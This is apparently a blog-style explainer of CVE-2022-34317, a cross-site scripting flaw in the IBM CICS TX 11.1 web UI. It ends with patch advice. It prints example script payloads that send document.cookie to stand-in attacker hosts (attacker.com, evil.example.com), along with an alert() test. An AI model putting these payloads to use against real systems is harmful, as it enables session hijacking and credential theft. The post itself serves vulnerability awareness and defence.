In June 2022, IBM confirmed that its transaction server software, IBM CICS TX 11.1, suffers from a significant security issue—CVE-2022-34317. This vulnerability allows attackers to inject and execute arbitrary JavaScript within the product's web-based user interface. That means, if an attacker tricks an authenticated user into clicking a malicious link or submitting bad data, they could take over the user’s session or steal sensitive information, including user credentials.

Let’s break down what this vulnerability is, how it works, and see a simple proof-of-concept. We’ll end with mitigation advice and references for your further research.

IBM X-Force ID: 229459

CVE-2022-34317 is a cross-site scripting vulnerability. Essentially, IBM CICS TX 11.1 does not always sanitize user input properly in its web interface. This makes it possible for malicious users to inject JavaScript code into the UI, which then runs in the browser of whoever visits the manipulated page.

If the victim is logged in, this script will execute with their privileges—potentially exposing stored credentials, sensitive info, or allowing further attacks.

XSS can be chained with other bugs for bigger attacks.

All this inside a product that manages critical transactional workflows for businesses.

How Does the Exploit Work?

Let’s see a simple example. Imagine the web UI has a form to add descriptions, but doesn’t filter out HTML or scripts. An attacker could submit a payload like:

<script>
fetch('https://attacker.com/steal?cookie='; + encodeURIComponent(document.cookie));
</script>

Whenever an admin or user views this field in their browser, the script executes, sending their cookie data to the attacker's website. If that cookie contains sensitive session tokens, the attacker may hijack the user’s session.

Typical Exploit Scenario

1. Attacker inputs malicious JavaScript into a field (e.g. "Job Description") in the CICS TX Web UI.

A trusted user, e.g., a system admin, visits a page that displays this data.

3. The malicious script runs, sending credential data to the attacker, or giving the attacker control of the session.

Here’s what an exploit submission might look like within the Web UI's vulnerable input

<input type="text" name="desc" value="<script>alert('XSS')</script>">

Once this is stored and later rendered on a user's browser, it pops up an alert—proof the site is executing code, not just storing the input.

For a more dangerous attack, the JavaScript could exfiltrate cookies

<script>
var i = new Image();
i.src="https://evil.example.com/?"; + document.cookie;
</script>

Find a user-controllable input, e.g., description or comments in the Web UI.

2. Submit: <script>alert("xss")</script>

If, upon viewing, an alert box pops up—XSS is present.

Automated tools: Use scanners like OWASP ZAP or Burp Suite.

Official References

- IBM Security Bulletin for CVE-2022-34317
- NVD CVE Detail
- IBM X-Force Exchange – 229459

Mitigation and Fix

IBM's fix is to upgrade to a patched version or apply provided security updates. See the security bulletin for further details.

Conclusion

CVE-2022-34317 is a serious XSS vulnerability in IBM CICS TX 11.1’s Web UI. Exploiting it is as simple as embedding a JavaScript snippet in a user input field and waiting for an unsuspecting admin to view it. If you use IBM CICS TX, update immediately. Don’t leave your sensitive workflows and credential data at risk.

Stay safe, test early, patch often!

*(For more technical detail, consult the references above or reach out to your IBM support contact.)*

Timeline

Published on: 11/14/2022 20:15:00 UTC
Last modified on: 11/16/2022 19:15:00 UTC